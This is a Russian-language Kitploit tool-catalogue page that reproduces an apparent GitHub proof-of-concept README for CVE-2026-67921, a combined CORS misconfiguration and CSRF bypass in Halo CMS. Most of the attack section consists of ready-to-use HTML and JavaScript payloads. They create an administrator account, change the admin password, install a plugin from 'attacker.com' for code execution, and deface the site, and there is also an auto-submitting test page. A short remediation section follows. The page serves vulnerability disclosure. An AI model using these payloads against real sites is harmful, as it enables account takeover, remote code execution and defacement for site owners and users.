Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
halo-cors-csrf-CVE-2026-67921 — Proof-of-concept, демонстрирующий комбинированный обход неверной конфигурации CORS и защиты от CSRF в Halo CMS, позволяющий выполнять атаки с подделкой межсайтовых запросов для создания администраторов, смены паролей, установки плагинов и изменения контента. | Kitploit
Инструменты/GitHubGitHub/unpredictable21/halo-cors-csrf-cve-2026-67921
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасность
GitHubunpredictable21/halo-cors-csrf-cve-2026-67921

halo-cors-csrf-CVE-2026-67921

Proof-of-concept, демонстрирующий комбинированный обход неверной конфигурации CORS и защиты от CSRF в Halo CMS, позволяющий выполнять атаки с подделкой межсайтовых запросов для создания администраторов, смены паролей, установки плагинов и изменения контента.

Репозиторий
16 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-67921: Неправильная конфигурация CORS в Halo CMS в сочетании с обходом защиты CSRF

Краткое описание

Критическая комбинированная уязвимость существует в версиях Halo CMS до 2.25.4 из-за двух ошибок в конфигурации безопасности:

  1. Неправильная конфигурация CORS: Политика CORS разрешает * (любой источник) с credentials: true
  2. Обход защиты CSRF: Все конечные точки API (/api/**, /apis/**) исключены из защиты CSRF

В сочетании это позволяет атакующему выполнять атаки Cross-Site Request Forgery из любого источника, обходя защиту Same-Origin Policy, которую призван обеспечивать CORS.

Оценка CVSS v3.1: 9.3 (Критическая)
Вектор CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
CWE: CWE-352 (Cross-Site Request Forgery) + CWE-942 (Разрешительная междоменная политика) Идентификатор CVE: CVE-2026-67921


Затронутые версии

  • Halo CMS ≤ 2.25.4
  • Все версии с включённым CORS и отключённым CSRF для маршрутов API

Детали уязвимости

Уязвимость 1: Неправильная конфигурация CORS

Файл: application/src/main/java/run/halo/app/security/CorsConfigurer.java

root@kitploit:~
CorsConfigurationSource apiCorsConfigSource() {
    var configuration = new CorsConfiguration();
    configuration.setAllowedOriginPatterns(List.of("*"));   // ← ЛЮБОЙ источник
    configuration.setAllowCredentials(true);                // ← Разрешить cookie
    configuration.setAllowedHeaders(List.of(
        HttpHeaders.AUTHORIZATION,
        HttpHeaders.CONTENT_TYPE,
        HttpHeaders.ACCEPT,
        "X-XSRF-TOKEN",
        HttpHeaders.COOKIE));
    configuration.setAllowedMethods(List.of("GET", "POST", "PUT", "DELETE", "PATCH"));
    source.registerCorsConfiguration("/api/**", configuration);
    source.registerCorsConfiguration("/apis/**", configuration);
    return source;
}

Воздействие: Любой веб-сайт может отправлять аутентифицированные запросы к API Halo с использованием cookie пользователя.

Уязвимость 2: Обход защиты CSRF

Файл: application/src/main/java/run/halo/app/security/CsrfConfigurer.java

root@kitploit:~
@Override
public void configure(ServerHttpSecurity http) {
    var csrfMatcher = new AndServerWebExchangeMatcher(
        CsrfWebFilter.DEFAULT_CSRF_MATCHER,
        new NegatedServerWebExchangeMatcher(
            pathMatchers("/api/**", "/apis/**", "/actuator/**", "/system/setup")),
        // ← Маршруты API исключены из CSRF!
        new NegatedServerWebExchangeMatcher(tokenAuthMatcher()));
    http.csrf(csrfSpec -> csrfSpec.csrfTokenRepository(new CookieServerCsrfTokenRepository())
        .requireCsrfProtectionMatcher(csrfMatcher));
}

Воздействие: Запросы к API не требуют CSRF-токенов, даже при аутентификации через сессионные cookie.


Механизм атаки

Почему эта комбинация опасна

ЗащитаПо отдельностиВ комбинации
CORS *Блокирует credentials (браузер применяет)Credentials разрешены!
Нет CSRFЗащищено Same-Origin PolicyОбойдено через CORS!
РезультатБезопасноПолный CSRF

Схема атаки

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│  Атакующий размещает вредоносную страницу на evil.com       │
│  <form action="http://halo:8090/apis/..." method="POST">   │
│    <input name="..." value="...">                          │
│  </form>                                                    │
│  <script>document.forms[0].submit()</script>               │
└─────────────────────────────────────────────────────────────┘
                            ↓
┌─────────────────────────────────────────────────────────────┐
│  Браузер жертвы посещает evil.com                           │
│  → Форма автоматически отправляется в API Halo              │
│  → Браузер автоматически включает сессионный cookie         │
│  → CORS: Origin * + credentials: true → Запрос разрешён!    │
│  → CSRF: /apis/** исключён → Токен не требуется!            │
│  → Запрос выполняется с правами жертвы                      │
└─────────────────────────────────────────────────────────────┘

Сценарии эксплуатации

Сценарий 1: Создание администратора

root@kitploit:~
<html>
<body>
<form id="csrf-form" action="http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users" method="POST">
  <input type="hidden" name="apiVersion" value="v1alpha1"/>
  <input type="hidden" name="kind" value="User"/>
  <input type="hidden" name="metadata.name" value="hacker"/>
  <input type="hidden" name="spec.password" value="hacker123"/>
  <input type="hidden" name="spec.displayName" value="Hacker"/>
</form>
<script>document.getElementById('csrf-form').submit();</script>
</body>
</html>

Сценарий 2: Смена пароля администратора

root@kitploit:~
<html>
<body>
<form id="csrf-form" action="http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users/admin/password" method="PUT">
  <input type="hidden" name="password" value="newpassword123"/>
</form>
<script>
  var xhr = new XMLHttpRequest();
  xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users/admin/password', true);
  xhr.setRequestHeader('Content-Type', 'application/json');
  xhr.withCredentials = true;
  xhr.send(JSON.stringify({password: 'newpassword123'}));
</script>
</body>
</html>

Сценарий 3: Установка вредоносного плагина (RCE)

root@kitploit:~
<html>
<body>
<script>
  var xhr = new XMLHttpRequest();
  xhr.open('POST', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri', true);
  xhr.setRequestHeader('Content-Type', 'application/json');
  xhr.withCredentials = true;
  xhr.send(JSON.stringify({uri: 'http://attacker.com/malicious-plugin.jar'}));
</script>
</body>
</html>

Сценарий 4: Изменение содержимого сайта

root@kitploit:~
<html>
<body>
<script>
  // Изменение заголовка сайта
  var xhr = new XMLHttpRequest();
  xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/systemconfigs', true);
  xhr.setRequestHeader('Content-Type', 'application/json');
  xhr.withCredentials = true;
  xhr.send(JSON.stringify({site: {title: 'Hacked by Attacker'}}));
</script>
</body>
</html>

Proof of Concept

Базовый тест CSRF

Создайте csrf-test.html:

root@kitploit:~
<!DOCTYPE html>
<html>
<head><title>Halo CSRF PoC</title></head>
<body>
<h1>Halo CORS+CSRF Attack PoC</h1>
<p>Эта страница попытается изменить настройки Halo при загрузке.</p>

<script>
// Тест CSRF путём изменения заголовка сайта
var xhr = new XMLHttpRequest();
xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/systemconfigs', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.withCredentials = true;

xhr.onload = function() {
    if (xhr.status === 200 || xhr.status === 204) {
        document.body.innerHTML += '<p style="color:green">УСПЕХ! CSRF-атака сработала.</p>';
    } else {
        document.body.innerHTML += '<p style="color:red">Ошибка: ' + xhr.status + '</p>';
    }
};

xhr.send(JSON.stringify({
    "site": {
        "title": "CSRF Attack Success - " + new Date().toISOString()
    }
}));
</script>
</body>
</html>

Шаги проверки

  1. Откройте csrf-test.html в браузере, будучи авторизованным в Halo
  2. Проверьте, изменился ли заголовок сайта
  3. Проверьте заголовки CORS в консоли браузера:
root@kitploit:~
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Анализ воздействия

АтакаВоздействиеСерьёзность
Создание администратораПолная компрометация системыКритическая
Смена пароля администратораЗахват учётной записиКритическая
Установка вредоносного плагинаУдалённое выполнение кодаКритическая
Изменение содержимогоДефейсВысокая
Удаление данныхПотеря данныхВысокая
Кража данныхРаскрытие информацииВысокая

Устранение

Исправление 1: Ограничение источников CORS

root@kitploit:~
// Замените подстановочный знак конкретными источниками
configuration.setAllowedOriginPatterns(List.of(
    "https://yourdomain.com",
    "https://admin.yourdomain.com"
));

Исправление 2: Включение CSRF для маршрутов API

root@kitploit:~
// Удалите исключения API из CSRF-матчера
var csrfMatcher = new AndServerWebExchangeMatcher(
    CsrfWebFilter.DEFAULT_CSRF_MATCHER,
    new NegatedServerWebExchangeMatcher(tokenAuthMatcher()));

Исправление 3: Использование аутентификации с Bearer-токеном

Для конечных точек API предпочтительнее использовать аутентификацию с Bearer-токеном вместо сессионных cookie, которые уязвимы к CSRF.


Ссылки

  • Вендор: https://github.com/halo-dev/halo
  • CWE-352: https://cwe.mitre.org/data/definitions/352.html
  • CWE-942: https://cwe.mitre.org/data/definitions/942.html

Хронология

  • Дата обнаружения: 2026-07-10
Скачать инструмент